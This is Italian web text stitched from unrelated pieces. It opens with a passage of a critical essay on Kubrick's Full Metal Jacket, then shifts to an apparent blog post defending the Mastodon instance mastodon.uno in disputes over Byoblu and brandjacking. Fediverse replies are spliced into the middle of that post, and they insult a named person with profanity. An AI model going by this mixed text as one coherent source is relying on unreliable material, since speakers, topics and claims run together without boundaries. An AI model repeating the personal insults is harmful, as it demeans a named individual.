Metal Jacket: «il cervello è il vero campo di battaglia, il vero Vietnam, presupposto e posta in gioco della guerra. Parris Island è il luogo (isolano – isolato – isolante) del lavaggio del cervello e delle lavate di testa, è il luogo in cui s’interviene direttamente sulla testa»; non a caso sulla locandina del film è presente un elmetto, ovvero la “testa” del soldato.
Joker, voce narrante del film, descrive in poche parole il luogo in cui si trova: «Parris Island, Carolina del Sud, campo di addestramento reclute del corpo dei marines degli Stati Uniti. Corso di otto settimane per falsi duri e pazzi furiosi». In questa bipartizione la giovane recluta mostra la sua lucidità, autoescludendosi di fatto dalla categoria dei “pazzi furiosi” e inserendosi quindi in quella dei “falsi duri”. Joker per tutto il film non è altro che questo, poiché sembra sfuggire alla disumanizzazione della sua personalità: quando alla fine è chiamato alla battaglia, fallisce, perché in lui è ancora acceso il lume dell’umanità e dell’intelligenza, perché non è un vero killer e il suo primo omicidio è causato dalla compassione e non dall’odio. Di conseguenza va osservato come ne Il dottor Stranamore e in Orizzonti di gloria la follia della guerra fosse dovuta all’orgoglio e all’ambizione dei generali, in Full Metal Jacket, invece, si basa essenzialmente sul tentativo del soldato Joker di restare sano in un ambiente folle.
Come sottolinea Magnisi: «Tutto il primo atto della pellicola sarà una lunga introduzione (un vero addestramento anche per gli spettatori) alla sottocultura dei marines, osservata con iperrealismo clinico dall’occhio di Kubrick, all’interno di un’ossessione per la geometria e la regola, l’ordine e la disciplina». L’obiettivo dell’istruttore Hartman (peraltro interpretato da un vero istruttore dei marines, Lee Ermey) è standardizzare tutte le reclute secondo canoni prestabiliti, omogeneizzare il gruppo, escludendo ogni tipo di diversità, motivo per cui il soldato Palla di Lardo risulta il più difficile da “meccanizzare”, poiché la sua diversità è evidente nelle caratteristiche fisiche (la grassezza) e motorie (la goffaggine), che lo portano inevitabilmente ad essere il bersaglio prediletto del suo istruttore, che non risparmia oltraggi e offese per cercare di motivare (quindi standardizzare) il ragazzo: «Ma tu ci sei nato sotto forma di viscido sacco di merda, Palla di Lardo, o ci hai studiato per diventarlo? (…) Perché tu sei un ciccione ributtante e fai schifo, Palla di Lardo!».
Gli esercizi fisici, nonostante la durezza, risultano essere la parte d’addestramento più innocua e meno importante, è l’indottrinamento psicologico, invece, la parte fondamentale per plagiare le giovani reclute; il linguaggio usato da Hartman è esplicito e aggressivo, e le vittime di esso non possono che subirlo passivamente. L’istruttore cerca continuamente di costruire un rapporto di intimità e complicità tra la recluta ed il fucile, sottolineando l’importanza di questo connubio (ed è immediato il richiamo alle ispezioni del generale Mireau nelle trincee di Orizzonti di gloria): «Stanotte vi porterete a letto il vostro fucile e darete al vostro fucile un nome di ragazza, perché sarà quello l’unico buco che voialtri rimedierete qui dentro. (…) Siete sposati al fucile, quel coso fatto di legno e di ferro, e rimarrete fedeli soltanto a lui!». E ancora: «La più micidiale combinazione del mondo: un marine col suo fucile. Ma è sulla volontà di uccidere che bisogna concentrarsi. (…) Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide». Joker, in uno dei rari interventi della sua voce fuori campo, dice che: «Il corpo dei marines non vuole dei robot, il corpo dei marines vuole dei killer, il corpo dei marines mira a creare uomini indistruttibili, uomini senza paura»; per cancellare la paura della morte dai soldati, il sistema deve quindi cercare di vendere un’immortalità “a basso costo”: «Un marine può morire, siamo qui per questo, ma il corpo dei Marine vivrà per sempre e questo significa che voi vivrete per sempre», dice Hartman e tutte le marcette e i ritornelli che fa intonare ai suoi soldati non sono altro che un accumulo di elementi che rappresentano una procedura (per un istruttore militare è la prassi) che ha come fine ultimo quello di plagiare le menti delle reclute. Tra tante situazioni, è piuttosto eloquente in questo caso la preghiera che i soldati devono recitare, fucile in mano, prima di andare a dormire: «Questo è il mio fucile, ce ne sono tanti come lui, ma questo è il mio. Il mio fucile è il mio migliore amico, è la mia vita. Io devo dominarlo come domino la mia vita. Senza di me il mio fucile non è niente, senza il mio fucile io sono niente. Devo colpire il bersaglio; devo sparare meglio del mio nemico che cerca di ammazzare me. Devo sparare io prima che lui spari a me e lo farò. Al cospetto di Dio giuro su questo credo: il mio fucile e me stesso siamo i difensori della patria, siamo i dominatori dei nostri nemici, siamo i salvatori della nostra vita e così sia, finché non ci sarà più nemico, ma solo pace. Amen».
Un aspetto particolare che troviamo in Full Metal Jacket, ma che già abbiamo incontrato in Orizzonti di gloria, è il continuo tentativo della struttura militare di provare a piegare alla propria logica ogni tipo di azione ed ideologia, inglobandola nel proprio sistema: nella prima parte del film Joker dice al suo istruttore di non credere in Dio, nonostante le ripetute ed insistenti affermazioni del sergente riguardo al valore ideologico della religione cattolica; in un primo momento Hartman sembra infuriato, ma invece di punire il ragazzo lo nomina caposquadra, dicendo che: «Il soldato Joker è ignorante e senza dio, ma ha fegato e il fegato è tutto». In questo modo, come nota Eugeni, l’esercito dimostra: «la terribile capacità di ricondurre ai propri parametri ogni opposizione, non contrastandola, ma semplicemente privandola del proprio senso originario». Un comportamento simile lo aveva assunto anche Broulard in Orizzonti di gloria, ritenendo la nobile azione difensiva di Dax niente più che una tattica per ottenere una promozione. Inoltre, come abbiamo visto nelle pellicole trattate in precedenza, dove gli eserciti combattono e uccidono i loro stessi soldati, anche in Full Metal Jacket il sistema finisce per implodere, per combattere contro se stesso: gli sforzi fatti da Hartman per rendere Palla di Lardo un killer vengono “premiati” nel finale della prima macrosequenza del film, dove il soldato, divenuto una macchina impazzita (come il computer Hal in 2001), uccide il suo istruttore, divenendo di fatto il killer che il duro addestramento doveva creare: «Quando Palla di Lardo scarica su [Hartman] i suoi proiettili blindati, nessuno tira sospiri di sollievo, ma anzi si resta agghiacciati, perché è chiaro che la morte di Hartman lascia viva e intatta l’istituzione; non arriva ad espiazione di alcuna colpa, ma a conferma dell’efficacia di un insegnamento».
L’esperienza di Palla di Lardo incarna alla perfezione il tema dell’uomo come nemico di se stesso; già nelle prime scene del film l’ordine di Hartman alla sua recluta («strangolati da solo!», autocitando Stranamore) non era che il preludio all’omicidio-suicidio commesso dal soldato nell’ultima scena ambientata a Parris Island: «[Palla di Lardo] lobotomizzato da brutalità e umiliazioni, interiorizza la violenza dell’ambiente in cui è stato costretto a calarsi, discendendo nel cuore di tenebra della sua follia. (…) L’apprendista stregone Hartman è stato la vittima del suo Frankenstein che, come quella creatura riplasmata, rifiuta di vivere in questo mondo ultra-violento».
Qui si chiude la prima parte del film, quella dedicata alla fase di addestramento; a proposito di questa è interessante citare un articolo del 1987 comparso sui «Cahiers du Cinéma»: «I film di Kubrick descrivono il mondo come un cervello, inevitabilmente soggetto a disfunzioni (per ragioni a volte esterne, a volte interne). Full Metal Jacket illustra in modo ammirevole questa tesi. Il microcosmo del campo di addestramento di Parris Island in effetti è organizzato come un cervello composto da cellule umane che pensano e reagiscono nello stesso modo, fino a quando il suo buon funzionamento si disintegra: dall’interno nel momento in cui una cellula singola (Palla di Lardo) comincia ad eseguire inesorabilmente le direttive di istinto di morte che regolano l’organo nella sua interezza; dall’esterno con l’offensiva del Tet, rappresentazione esteriorizzata di un’identica forza».La morte di Palla di Lardo chiude il cerchio della violenza apertosi nel campo di addestramento, ma è solo il prologo alla guerra vera: terminata la rappresentazione dell’inferno interiore all’uomo (Parris Island), una breve dissolvenza ci porta nell’inferno esteriore, il Vietnam, che vede Joker come anello di congiunzione tra le due parti. Se nella prima grande sequenza la struttura dell’esercito costruisce i suoi killer, le sue macchine da guerra, mostrando la propria capacità di controllo sulle reclute (ad eccezione della “cellula impazzita” Palla di Lardo), la seconda parte del film svela la debolezza e la precarietà di questo processo di “meccanizzazione”; a contatto con la guerra saltano tutti i meccanismi di controllo e i suoi protagonisti si perdono: «La macchina militare si trova ad affrontare un territorio labirintico, complesso e smarrisce le coordinate: coordinate morali, coordinate militari (tutti i “gialli” possono essere nemici, il nemico non è più identificabile), coordinate fisiche (la pattuglia dispersa nello spazio labirintico di Hue)».
Il Vietnam di Kubrick è iconograficamente un Vietnam inedito: non ci sono le giungle che i viet-movie precedenti avevano mostrato al pubblico; il regista rifiuta di ambientare il film attorno ad uno stereotipo e sfrutta una fabbrica in disuso sulle rive del Tamigi per realizzare il “suo” Vietnam: «L’architettura degli stabilimenti dell’ex fabbrica era l’architettura funzionale degli anni Trenta, esattamente uguale a quella di quartieri industriali delle città vietnamite come Saigon o Hue. L’ambientazione si prestava idealmente al soggetto del film».
La prima scena, della parte ambientata in Vietnam, ci mostra subito Joker; di conseguenza lo spettatore mette a fuoco la sua figura come figura-chiave del film: qui ritroviamo il soldato nelle vesti di giornalista per «Stars and Stripes», nonostante la disapprovazione mostrata in precedenza a Parris Island da Hartman («Ti sei messo in testa di essere un cazzo di scrittore? (…) Non sei qui come scrittore, qui sei un killer!»). Nella redazione del giornale campeggia la scritta con il motto «First to go Last to know» (“primi ad andare, ultimi a sapere”), a sottolineare il fatto che la verità non era l’elemento primario di un giornale di guerra, che anzi doveva scrivere storie fasulle per accattivarsi il consenso dell’opinione pubblica sull’impiego dei soldati americani in Vietnam; a questo proposito è esemplare il discorso che il caporedattore di «Stars and Stripes» rivolge a Joker: «Noi pubblichiamo due tipi di storie: marines che spendono la paga per comprare ai gialli dentifrici e deodoranti, tipo “arte di sedurre i cuori”, okay? ..E storie di combattimenti con un sacco di morti, tipo “come vincere la guerra”». Lo stesso Kubrick ha spiegato come, quella del Vietnam, sia stata la prima guerra ad esser condotta negli Stati Uniti soprattutto come una campagna pubblicitaria: «La manipolazione della verità attraverso i mezzi di comunicazione di massa del governo fu uno degli obiettivi di questa campagna. Ciò ha condotto al fatto che l’opinione pubblica americana ha avuto un’immagine falsa e manipolata dell’intera guerra». Kubrick sapeva che il conflitto vietnamita era stato il primo ad essere seguito dai media televisivi, per questo non ha risparmiato nel film i riferimenti all’iconografia tracciata dagli stessi media: quando uno dei soldati, Animal Mother, domanda a Joker se avesse mai visto il fronte, questi gli risponde: «Accidenti se l’ho visto: in televisione»; o ancora il soldato Cowboy, quando in un’intervista televisiva parla della guerra: «Quando siamo a Hue, noi entriamo in città, no? E lì è proprio come una guerra, capito? Come quello che… quello che io pensavo che deve essere una guerra vera, come io pensavo, come io… come me l’ero immaginata»; di conseguenza: «La guerra è già vista, è già registrata nell’archivio mnemonico di chi vi combatte grazie a cinema e televisione». La presenza televisiva è in ogni dove, come i riferimenti dei soldati ai miti cinematografici americani, su tutti il genere western: Joker imita e cita più volte John Wayne, gli altri soldati paragonano i vietcong agli indiani, i “cattivi” per eccellenza nei western hollywoodiani del passato («Ma gli indiani chi li fa?» «Tocca ai musi gialli fare gli indiani»).
Dopo l’ennesima risposta beffarda rivolta al suo caporedattore, Joker viene spedito insieme a Rafterman (“l’uomo della zattera”, un richiamo a Fear and Desire) nella “zona calda”; è qui che incontra per la prima volta il reale orrore per la guerra, i suoi occhi si posano su una fossa comune e la sua indignazione lo porta ad una conclusione apparentemente ovvia («I morti sanno soltanto una cosa: che è meglio essere vivi»), ma che riassume appieno una delle verità che il regista vuole mostrare nella seconda parte del film: i soldati che vengono mandati a combattere in guerra, non lottano per niente se non per restare vivi, né per ideali né per fama quindi, ma solo per la sopravvivenza. Una verità che sottolinea il contesto mentale e non fisico del conflitto mostrato da Kubrick: «In guerra è meglio esser vivi che morti e tutto il resto non conta. Dirlo a parole è semplice, “spiegarlo” con un film molto difficile. Spiegarlo crudelmente e virilmente come fa Full Metal Jacket, poi, richiede un’estrema precisione di tono, perché l’orrore di Full Metal Jacket non è negli schizzi di sangue e negli arti amputati ma nella dimensione mentale del combattimento, nella meccanizzazione della barbarie: il prodotto coerente della propedeutica di Hartman». Subito dopo questa scena, troviamo un elemento fondamentale della seconda parte del film, ovvero la spiegazione che Joker fornisce ad un ufficiale, dopo che questi ha notato sull’uniforme del soldato la presenza del distintivo della pace e della scritta “Born to Kill” (“nato per uccidere”) sull’elmetto: «Io volevo soltanto fare riferimento alla dualità dell’essere umano, signore, l’ambiguità dell’uomo, una teoria junghiana, signore». È l’ennesimo sberleffo di un buffone (in inglese “joker”, per l’appunto) che cerca di contrastare gli orrori della guerra mediante l’ironia e lo scherzo, oppure si tratta del tentativo di un uomo di elevarsi e di differenziarsi da una massa di automi tutti uguali tra loro, tutti standardizzati, attraverso l’uso dell’intelletto e della cultura? Sembra che la risposta si trovi a metà strada tra le due parti: Joker da un lato si ribella al sistema (come Palla di Lardo anche lui è un personaggio diverso dalla massa, ma molto meno vulnerabile) grazie alla sua coscienza e alla sua personalità, ma dall’altro sa stare al gioco dell’istituzione militare, comportandosi da perfetto integrato (partecipa al pestaggio collettivo contro Palla di Lardo, afferma alla televisione di voler essere il primo ragazzo del suo palazzo «a fare centro dentro qualcuno»): «Joker ha un ruolo di focalizzatore omodiegetico assai marcato, ma spesso assente e in chiara distonia con quanto concretamente fatto dal personaggio. Egli alterna momenti di lucidità osservativa ad altri di complicità irriflessa».Lo stesso Kubrick spiega la presenza del distintivo della pace sull’uniforme del protagonista: «Si tratta di un simbolo che indica dualismo. Il soldato Joker dice infatti al suo superiore che gli chiede cosa voglia significare quel bottone: che gli esseri umani sono divisi fra odio e diffidenza da una parte, amicizia e disponibilità dall’altra». La dualità dell’essere umano evidenziata dal regista trova riscontro anche nei comportamenti degli altri personaggi: su tutti il soldato Animal Mother, presentato inizialmente come una sorta di Rambo dispensatore di morte (sul suo elmetto c’è scritto: “I am become death”, “sono diventato morte”), è colui che invece ha la lucidità di riconoscere che quella alla quale stanno assistendo in Vietnam è «una strage», inoltre contraddice gli ordini e si espone al fuoco del cecchino pur di andare a salvare i compagni feriti.
Kubrick, nella scena in cui l’ufficiale chiede spiegazioni a Joker, evidenzia la follia e l’ottusità delle alte sfere del sistema militare; la sua critica per questo tipo di personaggi si nota nella frase finale messa in bocca all’ufficiale in questione, che dice al soldato: «È un mondo spietato, figliolo, bisogna tener duro fino a quando non passerà questa mania della pace». Il regista sembra voler dire che quello al quale stiamo assistendo «è un universo alla rovescia, di pazzi al comando, con la voce pensante di Joker unico sguardo lucido. (…) Il Vietnam, come ogni guerra, è il regno del militarismo, l’obbligo dell’impiego universale della violenza come mezzo ai fini dello Stato»; un concetto di violenza gratuita che emerge dalle parole dei vari soldati, per esempio da quelle del capopattuglia di Cowboy, Crazy Earl: «Siamo i giganti verdi dei detersivi, solo che noi andiamo in giro a ripulire il mondo col mitra. Quelle che abbiamo fatto fuori oggi sono le persone più meravigliose del mondo: quando torneremo a casa di sicuro non troveremo più gente a cui valga la pena di sparare». La violenza è quindi l’unica realtà: «Gli uomini non possono governarla, sono loro a essere guidati dai processi conduttivi di quest’energia che hanno scatenato e che ora li sovrasta. Le battaglie non si decidono da uomini che calcolano e riflettono, ma tra soldati ormai depredati delle facoltà razionali, cieche forze che non sono che impeto. È il segreto ultimo della guerra: la riduzione della persona umana a materia inerte, dominata dall’istinto crudele della preda o del cacciatore».
Nell’ultima parte del film, la pattuglia si perde nello spazio labirintico di Hue, un corrispettivo fisico e spaziale della situazione interiore dei personaggi, che il regista ama spesso delineare nelle sue pellicole, da Fear in Desire, fino ad Eyes Wide Shut («Kubrick sembra interessato a offrire un ulteriore esempio di quella poetica della perdita di controllo sulle coordinate spaziali e temporali già operativa in gran parte della produzione filmica precedente»). In questo spazio, nel pieno dello smarrimento, un cecchino uccide prima il soldato Eightball, quindi Doc Jay, che era corso ad aiutare il compagno. Cowboy vuole far ripiegare il gruppo e abbandonare i compagni, ma Animal Mother si oppone e si lancia in avanti, riuscendo a far guadagnare terreno alla sua squadra: anche Cowboy però viene ucciso dal cecchino. Decisi nel voler vendicare i compagni, i rimanenti soldati si mettono alla ricerca del nemico; è Joker a trovarlo per primo e a scoprire che si tratta di una ragazzina armata. Il fucile del soldato si inceppa ed egli è costretto a rifugiarsi dietro ad una colonna, mentre le pallottole dell’avversaria si scagliano contro la sua postazione. Rafterman giunge sul posto e colpisce la ragazza, quindi si lascia andare ad urla di entusiasmo di fronte alla sua prima vittima: «Sono un duro, sono uno che fa fuori i nemici, sono un killer!». La ragazza però è ancora viva, agonizzante; Animal Mother intende lasciarla lì («Che marcisca qui»), mentre Joker vorrebbe aiutarla. Kubrick, dopo aver concesso a Joker la possibilità di uscire da ogni situazione precedente in modo ironico e sarcastico (conformemente al soprannome del soldato), in questa sequenza finale mette il suo protagonista faccia a faccia con l’orrore, con la possibilità di «far centro dentro qualcuno» che il soldato, sarcasticamente, aveva desiderato di avere. Joker dà il colpo di grazia alla ragazza, mosso da pietà, sicuramente, ma allo stesso tempo: «volente o nolente Joker si è trasformato in una killing machine: una piccola rotella senza volto nell’ingranaggio della morte. Hartman, probabilmente, sorride nella tomba. La tragica ironia finale di Full Metal Jacket è che la guerra ha preso in giro anche il suo giullare». Dopo questo “battesimo di morte”, Joker raggiunge gli altri soldati e si unisce alla marcia nell’oscurità; le sue ultime parole: «Sono proprio contento di essere vivo, tutto d’un pezzo, prossimo al congedo. Certo, vivo in un mondo di merda, questo sì, ma sono vivo e non ho più paura». Ora che non ha più paura, anche il soldato Joker, lo scrittore che difendeva la verità giornalistica, è divenuto una macchina per uccidere? Anche lui, l’intellettuale che citava Jung di fronte ai suoi superiori, ha raggiunto il suo punto di non ritorno, come avevano fatto in precedenza Palla di Lardo e Rafterman? In quest’ottica «Full Metal Jacket è un’opera disperata, dilaniata, che sancisce la fine di ogni residua illusione kubrickiana sulla natura dell’uomo e sulle sue possibilità di salvezza».
Tutti i marines si uniscono in un canto: intonano la Marcia di Topolino. Stavolta non si tratta del finale umanista di Orizzonti di gloria, ma di una regressione dei soldati allo stato infantile: «Quegli uomini in marcia, cui la guerra ha rivoluzionato ogni scala di valori, dei bambini condividono la crudeltà amorale, l’assenza di scrupoli etici, la aggressività necessaria, l’assenza di principi che non siano quelli naturali ed elementari, l’immunità da ogni ipocrisia; infine la noncuranza stessa della propria morte».Partono i titoli di coda, in contemporanea ai versi della splendida Paint it black (“dipingilo di nero”) dei Rolling Stones; Mick Jagger canta: «I see a red door and I want it painted black; no colors anymore I want them to turn black» (“vedo una porta rossa e voglio dipingerla di nero; non voglio più colori ma tutto dipinto di nero”), proprio quando le immagini sono finite e lo schermo è diventato nero; «It’s not easy facing up when your whole world is black» (“non è facile restare a testa alta quando il mondo intero è nero”); e ancora: «I look inside myself and see my heart is black» (“guardo dentro me stesso e vedo che il mio cuore è nero”). Il messaggio del pessimista Kubrick, anche durante i titoli di coda, è vivo, diretto, lucido, spietato e soprattutto definitivo.
[Se l’articolo ti è piaciuto, offrimi un caffè o magari una colazione,
una piccola mancia per aiutarmi a sostenere il sito!]#analisi #approfondimento #cinema #film #fullMetalJacket #kubrick #libro #storia #tesi
-
Il Fediverso Italiano fa schifo... @ilfediversofaschifo.wordpress.com@ilfediversofaschifo.wordpress.com ·Molti amministratori del fediverso e alcuni utenti non nascondono la propria insofferenza verso l’istanza mastodon.uno che viene considerata talvolta un vero e proprio elemento di squilibrio all’interno del fediverso italiano.
Questa percezione è probabilmente minoritaria (detto altrimenti, di queste stronzate, alla maggior parte degli utenti del fediverso non frega un cazzo), ma non bisogna mai sottovalutare una percezione solo per il fatto che è minoritaria, soprattutto quando sopravvive a lungo presso alcune sacche di utenza composte anche da persone che da lunga data frequentano il fediverso.
Il Fediverso è divertente e non ci si annoia mai.Curiosamente le stesse persone che da sempre tirano sputi verso l’istanza mastodon.uno hanno organizzato una simpaticissima festa di benvenuto nei miei confronti. Purtroppo hanno finito gli sputi, ma la cosa che mi ha portato un profondo dolore è che mi hanno confuso con un altro tizio, da essi amato.
“Allora si aprirono loro gli occhi e lo riconobbero. Ma egli sparì dalla loro vista“
Oggi ho scoperto che esiste un account che redige pagelle alle istanze e, come spesso purtroppo succede in Italia, si prende molto sul serio, aprendo l’inevitabile blog.
Ora a leggere questo:
un po’ ci si innervosisce, un po’ vien da ridere.
Al fondo il tema più pressante sembrerebbe che le istanze antifasciste e antirazziste non pensano allə poverə liberal e destrorsə che non si sentono benvenutə su Mastodon…
Secondo me un giovane vecchio che metta su un’istanza per lə follower della meloni, di calenda o di qualunque altra meritoria figura dello squallido panorama politico italiano, si trova, tranquillo @fedifaschifo@rolery dobbiamo ringraziare @fedifaschifo perchè si sentiva la mancanza di un blogger dal tono passivo-aggressivo che fa data-mining nel fediverso. È quasi tenero con i suoi commenti da guardone che osserva le altre istanze dal buco della serratura. Ma la cosa buffa è che si pone come “neutrale” cioè senza intenti politici, tipo debunker, e quando qualcuno su internet si pone così in realtà è chiaro che i suoi intenti sono tutt’altro che neutrale. Aspettiamo gli screenshot, campione!Siccome per altro ho il forte sospetto che tu sia quello stesso Uriel Fanelli che di tanto in tanto rispunta in varie forme a rompere i coglioni con cagate simili, e se non lo sei, scrivi comunque queste cagate, ti blocco al volo.
(Se lo sei, se sei Uriel Fanelli, ammesso questo sia il tuo vero nome e cognome, concordo con te sul fatto che la pagina sul git che ho linkato non è fatta molto bene, purtroppo, ma tu resti lo stronzo di sempre, e mi basta la memoria di quel che hai scritto nel tempo, per esserne convinto).
(Aggiungo che se per te è “settarismo politico” quello delle istanze autogestite, ne trovi tante altre con policy molto più lascheMa le accuse verso di me sono piuttosto noiose, quindi andiamo subito a vedere quelle verso mastodon.uno che riguardano diversi argomenti ma che ho voluto sintetizzare nelle 3 B del titolo: Ban, Brandjacking e Byoblu. Vorrei iniziare dall’ultima per concludere con la prima, ma sarà un percorso lungo e faticoso, quindi mettetevi comodi.
Qui un breve sommario:
- Byoblu
- Chi è
- Byoblu su mastodon
- Giusto defederarlo?
- O no?
- L’errore di mastodon.uno
- Conclusioni
- Brandjacking
- La numero .uno!
- Braaaaaan
- Al Tedesco!
- Conclusioni
- Ban
- Regole per tutti
- Rinculi
- Orgoglio e pregiudizio
- Reati di opinione
- Tinder ma con + rancore
- Crisis management
- Ban: conclusioni
- Rant e comunicato contestuale di scuse
Byoblu: l’universo mediatico in cui controinformazione e disinformazione fanno nuoto sincronizzato in una piscina di merda
Byoblu… Chi era costui?
Byoblu è un conglomerato di news, interviste, libri e una vetrina di prodotti da vendere alla comunità, prodotti in linea con le pubblicazioni. Si tratta di un progetto tra i più datati e i più ben fatti. Scordatevi i video cringe con i monologhi Marcianò o le conferenze di Biglino, scordatevi gli articoli radicalizzati di Imola Oggi o del Primato Nazionale: Byoblu sa sempre tenersi sul filo della comunicazione e alterna lo stile delle Iene con quello dei TG delle migliori emittenti locali; ha un fiuto eccezionale nell’intercettare personaggi di valore durante il momento peggiore per la loro reputazione o mentre sono vittime di ostracismo mediatico e li alterna a improbabili ciarlatani famosi nelle loro rispettive tifoserie. La qualità produttiva è in linea con quella odierna delle emittenti nazionali, ma il vero tocco magico è quello di raccogliere il nutrito seguito che accompagna questi personaggi per portarlo nel funnel del proprio marketplace.
Gli strumenti del giornalista della post-veritàSe non sei avvezzo ai meccanismi della contro/dis-informazione, Byoblu è un universo eccitante fatto di mille novità informative che nel caso migliore ci mettono in soggezione perché “bisogna rispettare il giornalismo”, mentre nel caso peggione confermano quel bias che è dentro ciascuno di noi e che ci urla “MA LO VEDI CHE NON CE LO DICONO!?!”
La community di Byoblu è numerosa, ampia, credula, disposta a seguire i propri idoli anche quando cambiano canale informativo e, soprattutto, è prodiga nel finanziarli.
Byoblu è su Mastodon!
Bioblu è su Mastodon!Quando si è affacciata su Mastodon ha creato un sobbalzo presso tutti gli amministratori di istanza.
I dati di archive.org mostrano che a fine aprile 2020 l’istanza social.byoblu.com contasse più di 11.000 utenti ma a dicembre erano già 16.000 e a febbraio 2021 erano 18.500!
Questo successo ha portato alcune istanze italiane a lanciare una comprensibile campagna di sensibilizzazione per defederare l’istanza di Byoblu
⛔ Block social.byoblu.com and keep the fediverse a safer place SHOW LESSIf you value the safety of people around you (and yours), please consider blocking social.byoblu.com to keep the fediverse a safer place.Boost the toots of this account and talk with the users of your instance to decide what to do with Byoblu. Involve the admins in the discussion. Defederate it and who federates it.isolateByoblu #isolateGab #fediadmin #fediverse #block #instanceblock #Byoblucc @isolategab @gabwatchDall’account @isolatebyoblu (link: https://mastodon.social/@isolatebyoblu/104263374191492789)
Parallelamente si è attivata la campagna di pressione su mastohost affinché non concedesse ospitalità all’istanza di Byoblu (una richiesta che con qualche mese di ritardo MastoHost ha infine accolto). Come tutte le campagne di boicottaggio, anche questa ha portato a un dibattito articolato ma anche a forti tensioni tra chi non aveva dubbi e chi riteneva che quella di censurare un’istanza che aveva comunque avuto il merito di portare tantissimi utenti all’interno del fediverso, fosse una decisione troppo drastica.
Mastodon.uno ha deciso di non seguire la campagna per defederare l’istanza di Byoblu, salvo cambiare idea successivamente. Le istanze che hanno aderito alla campagna hanno criticato questo comportamento
I fatti
Non entro nel merito della polemica, anche perché c’è chi ne ha già scritto a sufficienza (qui troverete una tesi accusatoria contro mastodon.uno e qui il post autoassolutorio di mastodon.uno) ma anche perché questa polemica, oltre a essere molto articolata, tende sempre a muoversi su più piani mentre in questo capitolo voglio concentrarmi solo sulla questione Byoblu in base alle uniche domande utili: era giusto defederare Byoblu? era giusto NON defederarlo? mastodon.uno ha sbagliato a non defederare subito Byoblu?
Era giusto defederare Byoblu?
Personalmente sono convinto che sia giusto. Byoblu è un brand consolidato con una strategia commerciale spregiudicata orientata a un pubblico culturalmente indifeso ed emotivamente sovraccarico.
A prescindere dal giudizio morale, se consideriamo che tutte le istanze del Fediverso sono iniziative senza scopo di lucro intraprese su base volontaria e che necessitano di tante risorse (costi macchina, connettività, tempo uomo), non si vede perché dei volontari dovrebbero prestarsi a diventare un’antenna ricevente per un’attività del tutto commerciale.
Se poi gli amministratori di quelle istanze ritenessero (giustamente, a mio parere) che quell’istanza è una specie di serbatoio di rifiuti tossici che contiene tutto il peggio che si possa trovare sui social, allora la defederazione dovrebbe essere un imperativo categorico non negoziabile.
Era giusto NON defederare Byoblu?
Se l’amministratore di un’istanza non ravvisa elementi per farlo, allora è legittimo decidere di non defederare una qualsiasi istanza che non pubblichi contenuti illegali (mi hanno spiegato che un contenuto illegale come materiale pedopornografico o messaggi istigazione a delinquere prodotto da un’istanza può rimanere memorizzato a lungo nella cache di un’altra istanza, comportandone il rischio di sequestro. A me sembra una vulnerabilità piuttosto grave per il fediverso e un buon motivo per evitare in ogni modo di aprire mai un’istanza…).
Gli utenti infatti, fino a prova contraria, sono perfettamente in grado di esercitare autonomamente la decisione di seguire, non seguire, silenziare o bloccare un utente).
Ha sbagliato mastodon.uno a non defederare subito Byoblu?
Secondo me la scelta di attendere non è stata sbagliata. Prima di ergersi a censori conto terzi (i terzi sono i propri utenti) è opportuno ragionarci bene sopra. Come si è visto prima, quando si ha a che fare con professionisti del calibro di Byoblu, non è neanche facile esprimere un giudizio immediato sulla buona fede o meno, sulla pericolosità o meno, di legarsi a un’istanza del genere.
Inoltre sganciarsi da un’istanza di successo (un successo mai visto prima!) non è una scelta furbissima perché significa rischiare di chiudersi a riccio e di diventare irrilevante e quindi di morire come comunità e come progetto.
Infine, una defederazione brutale, porterebbe a spaventare i propri utenti che si chiederanno sempre: “Se oggi la mia istanza può chiudere i ponti con un’altra istanza, domani potrà farlo con due o con dieci. Forse è meglio che mi sposti presso un’altra istanza!”
Byoblu: conclusioni
Mi sembra chiaro che l’accusa a mastodon.uno sia sciocca e dettata solo dalle convinzioni personali. Se è comprensibile criticare un amministratore perché ha bloccato un’istanza, è molto meno comprensibile criticarlo per il fatto di non averne bloccata un’altra, ma è sicuramente vero che queste critiche non possono e non devono sfociare in accuse compiute con intento denigratorio. Le critiche dovrebbero rimanere al massimo sul piano della discussione metodologica.
Brandjacking ma non solo: il marketing spregiudicato di mastodon.uno
Il sorpasso tra mastodon.uno e bidaMentre Byoblu era ancora la più grande istanza del fediverso italiano e una delle prime quattro a livello mondiale, a fine 2020 si consumava un altro sorpasso nel Fediverso: l’istanza mastodon.uno sorpassava mastodon.bida.im come numero di utenti.
Col senno di poi questo sorpasso sembra inevitabile: un’istanza dichiaratamente generalista ha potenzialità di crescita fisiologicamente maggiori rispetto a un’istanza dichiaratamente ideologica. Eppure a quei tempi l’idea di un’istanza generalista non legata dichiaratamente a particolari sfumature ideologiche costituiva ancora una novità e, almeno in Italia, sembrava estranea alla stessa natura di Mastodon come ambiente alternativo ai social tradizionali (tutti genericamente generalisti…).
La novità che ha però costituito il più importante motivo di successo era l’intelligente lavoro di posizionamento del progetto che si è avvalso di tutta una serie di strumenti di promozione web e da alcune vere e proprie forzature.
La prima istanza Mastodon italiana! La numero uno! La più prima di tutte quante insieme!
Mastodon.uno è il primo social italiano etico, libero, gratuito, decentralizzato è una istanza italiana che fa parte della federazione mastodon una rete social che rispetta (sic) la privacy: senza pubblicità, senza paywall, senza algoritmi, senza cookies di profilazione, senza public company quotata in borsa, senza investitori a cui dover riferire, senza tracciabilità.
La profezia del 7 luglio 2019! Ah, non era una profezia? Quindi era una bugia… – Link: https://web.archive.org/web/20190707102519/https://mastodon.uno/about
Questa è semplicemente è una cazzata, una bugia. Un gesuita avrebbe detto che l’affermazione non è falsa, ma è indica soltanto il fatto che mastodon.uno è il primo progetto social italiano che aspira a essere etico, libero, gratuito, decentralizzato. Quindi? Quindi resta sempre una cazzata, ma piccola e che non ti preclude le porte del paradiso.
Non credo però che questo spudorato panzanotto auspicio camuffato da affermazione sia la causa del successo di mastodon.uno, quanto piuttosto la conseguenza di quella determinazione che ha contribuito al suo successo; allo stesso tempo una forzatura del genere non può essere considerata come la pistola fumante di una condanna reputazionale dello staff di mastodon.uno, il gruppo Devol, e del suo frontman FilippoDB (il DB sta per Della Bianca). Si tratta infatti di peccati veniali che sottendono a qualsiasi iniziativa promozionale.
Alla base del successo dell’iniziativa mastodon.uno stanno invece diversi elementi:
- la conoscenza dell’ABC del webmarketing (gli admin delle altre istanze avevano al massimo lanciato qualche #boikottisraele su Reddit)
